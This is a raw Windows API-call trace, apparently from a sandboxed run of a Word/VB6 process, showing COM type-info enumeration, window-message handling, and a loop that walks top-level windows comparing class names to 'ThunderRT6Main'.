[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xd2, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xd3, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xd4, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xd5, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xd6, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xd7, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x76edf08
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xd8, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xd9, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xda, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xdb, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xdc, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xdd, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xde, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xdf, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xe0, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xe1, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xe2, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xe3, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xe4, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xe5, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xe6, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xe7, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xe8, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xe9, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xea, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xeb, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xec, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xed, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xee, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xef, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.576] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.576] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xf0, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.577] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.577] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xf1, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.577] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.577] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xf2, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.577] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x76edf08
[0030.577] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xf3, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.577] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.577] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xf4, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.577] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.577] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xf5, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.577] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x76edf08
[0030.577] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xf6, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.577] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.577] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xf7, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.577] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.577] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xf8, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.577] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.577] ITypeInfo2:GetCustData (in: This=0x756c504, GUID=0x72796804*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x308380 | out: pVarVal=0x308380*(varType=0x0, wReserved1=0x753, wReserved2=0x0, wReserved3=0x0, varVal1=0x74b30cc, varVal2=0x1b5)) returned 0x0
[0030.577] IUnknown:Release (This=0x756c504) returned 0x3
[0030.577] ITypeInfo:RemoteGetDocumentation (in: This=0x756c504, memid=-1, refPtrFlags=0x30839c, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7531750 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7531750*="耂\x10(") returned 0x0
[0030.577] IUnknown:QueryInterface (in: This=0x756c588, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x308364 | out: ppvObject=0x308364*=0x0) returned 0x80004002
[0030.577] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c588, ppTypeAttr=0x308378, pDummy=0x7531750 | out: ppTypeAttr=0x308378, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.577] ITypeInfo:LocalReleaseTypeAttr (This=0x756c588) returned 0x74b30c8
[0030.577] CRetailMalloc_Realloc () returned 0x75502d8
[0030.578] IUnknown:AddRef (This=0x756c588) returned 0x6
[0030.578] IUnknown:Release (This=0x756c55c) returned 0x5
[0030.578] IUnknown:Release (This=0x756c588) returned 0x5
[0030.578] IUnknown:Release (This=0x756c504) returned 0x2
[0030.578] ITypeInfo:RemoteGetDocumentation (in: This=0x756c588, memid=5, refPtrFlags=0x308450, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x30880c | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x30880c*=0x0) returned 0x0
[0030.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x308474, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5
[0030.578] _mbscpy_s (in: _Dst=0x30837c, _DstSizeInBytes=0xe, _Src=0x81d18c2 | out: _Dst=0x30837c) returned 0x0
[0030.578] _mbscpy_s (in: _Dst=0x308385, _DstSizeInBytes=0x5, _Src=0x308474 | out: _Dst=0x308385) returned 0x0
[0030.652] DefWindowProcA (hWnd=0x20194, Msg=0x1e, wParam=0x0, lParam=0x0) returned 0x0
[0032.231] DefWindowProcA (hWnd=0x20194, Msg=0xc164, wParam=0x50, lParam=0x0) returned 0x0
[0032.316] DefWindowProcA (hWnd=0x20194, Msg=0xc164, wParam=0x50, lParam=0x0) returned 0x0
[0042.414] DefWindowProcA (hWnd=0x20194, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0087.217] DefWindowProcA (hWnd=0x20194, Msg=0x1c, wParam=0x0, lParam=0xc84) returned 0x0
[0088.282] DefWindowProcA (hWnd=0x20194, Msg=0x1c, wParam=0x1, lParam=0xc84) returned 0x0
[0098.204] DefWindowProcA (hWnd=0x20194, Msg=0x1c, wParam=0x0, lParam=0x5f8) returned 0x0
[0099.555] DefWindowProcA (hWnd=0x20194, Msg=0x11, wParam=0x0, lParam=0x0) returned 0x1
[0099.557] DefWindowProcA (hWnd=0x20194, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0
[0099.722] GetCurrentThreadId () returned 0x9fc
[0099.722] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
[0099.722] GetDesktopWindow () returned 0x10010
[0099.722] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x1003e
[0099.722] GetClassNameA (in: hWnd=0x1003e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
[0099.722] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
[0099.722] GetWindowThreadProcessId (in: hWnd=0x1003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.722] GetWindow (hWnd=0x1003e, uCmd=0x2) returned 0x1003a
[0099.722] GetClassNameA (in: hWnd=0x1003a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.722] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.722] GetWindowThreadProcessId (in: hWnd=0x1003a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.722] GetWindow (hWnd=0x1003a, uCmd=0x2) returned 0x1005e
[0099.722] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.722] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.722] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.722] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c
[0099.722] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.722] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.722] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.722] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x10048
[0099.722] GetClassNameA (in: hWnd=0x10048, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.722] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.723] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.723] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10072
[0099.723] GetClassNameA (in: hWnd=0x10072, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.723] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.723] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.723] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10066
[0099.723] GetClassNameA (in: hWnd=0x10066, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.723] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.723] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.723] GetWindow (hWnd=0x10066, uCmd=0x2) returned 0x10064
[0099.723] GetClassNameA (in: hWnd=0x10064, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.723] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.723] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.723] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10060
[0099.723] GetClassNameA (in: hWnd=0x10060, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.723] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.723] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.723] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10040
[0099.723] GetClassNameA (in: hWnd=0x10040, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Button") returned 6
[0099.723] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
[0099.723] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.723] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x1003c
[0099.723] GetClassNameA (in: hWnd=0x1003c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
[0099.723] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
[0099.723] GetWindowThreadProcessId (in: hWnd=0x1003c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.723] GetWindow (hWnd=0x1003c, uCmd=0x2) returned 0x1011a
[0099.723] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="ATL:73178158") returned 12
[0099.723] lstrcmpA (lpString1="ATL:73178158", lpString2="ThunderRT6Main") returned -1
[0099.723] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674
[0099.723] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10114
[0099.723] GetClassNameA (in: hWnd=0x10114, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.723] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.723] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
[0099.723] GetWindow (hWnd=0x10114, uCmd=0x2) returned 0x10112
[0099.723] GetClassNameA (in: hWnd=0x10112, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
[0099.723] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
[0099.723] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
[0099.723] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x100d2
[0099.723] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.723] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.723] GetWindowThreadProcessId (in: hWnd=0x100d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0099.724] GetWindow (hWnd=0x100d2, uCmd=0x2) returned 0x100c6
[0099.724] GetClassNameA (in: hWnd=0x100c6, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.724] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.724] GetWindowThreadProcessId (in: hWnd=0x100c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.724] GetWindow (hWnd=0x100c6, uCmd=0x2) returned 0x100b6
[0099.724] GetClassNameA (in: hWnd=0x100b6, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.724] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.724] GetWindowThreadProcessId (in: hWnd=0x100b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.724] GetWindow (hWnd=0x100b6, uCmd=0x2) returned 0x1008e
[0099.724] GetClassNameA (in: hWnd=0x1008e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.724] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.724] GetWindowThreadProcessId (in: hWnd=0x1008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.724] GetWindow (hWnd=0x1008e, uCmd=0x2) returned 0x5007c
[0099.724] GetClassNameA (in: hWnd=0x5007c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.724] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.724] GetWindowThreadProcessId (in: hWnd=0x5007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.724] GetWindow (hWnd=0x5007c, uCmd=0x2) returned 0x10074
[0099.724] GetClassNameA (in: hWnd=0x10074, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
[0099.724] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
[0099.724] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.724] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10086
[0099.724] GetClassNameA (in: hWnd=0x10086, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
[0099.724] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
[0099.724] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.724] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x301d4
[0099.724] GetClassNameA (in: hWnd=0x301d4, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="NUIDialog") returned 9
[0099.724] lstrcmpA (lpString1="NUIDialog", lpString2="ThunderRT6Main") returned -1
[0099.724] GetWindowThreadProcessId (in: hWnd=0x301d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0099.724] GetWindowLongA (hWnd=0x301d4, nIndex=-16) returned -2067267584
[0099.724] GetWindowLongA (hWnd=0x301d4, nIndex=-6) returned 1738342400
[0099.724] GetWindowLongA (hWnd=0x301d4, nIndex=-6) returned 1738342400
[0099.724] GetWindow (hWnd=0x301d4, uCmd=0x2) returned 0x101d8
[0099.724] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
[0099.724] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
[0099.724] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0099.724] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -1946157056
[0099.724] GetWindowLongA (hWnd=0x101d8, nIndex=-6) returned 0
[0099.725] GetWindowLongA (hWnd=0x101d8, nIndex=-6) returned 0
[0099.725] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101aa
[0099.725] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.725] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.725] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0099.725] GetWindowLongA (hWnd=0x101aa, nIndex=-16) returned -1946157056
[0099.725] GetWindowLongA (hWnd=0x101aa, nIndex=-6) returned 19791872
[0099.725] GetWindowLongA (hWnd=0x101aa, nIndex=-6) returned 19791872
[0099.725] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x301a0
[0099.725] GetClassNameA (in: hWnd=0x301a0, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="OpusApp") returned 7
[0099.725] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1
[0099.725] GetWindowThreadProcessId (in: hWnd=0x301a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0099.725] GetWindowLongA (hWnd=0x301a0, nIndex=-16) returned 919535616
[0099.725] GetWindowLongA (hWnd=0x301a0, nIndex=-6) returned 1764163584
[0099.725] GetWindowLongA (hWnd=0x301a0, nIndex=-6) returned 1764163584
[0099.725] GetWindow (hWnd=0x301a0, uCmd=0x2) returned 0x1018c
[0099.725] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.725] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.725] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x904
[0099.725] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018a
[0099.725] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="cuisinePrograms") returned 15
[0099.725] lstrcmpA (lpString1="cuisinePrograms", lpString2="ThunderRT6Main") returned -1
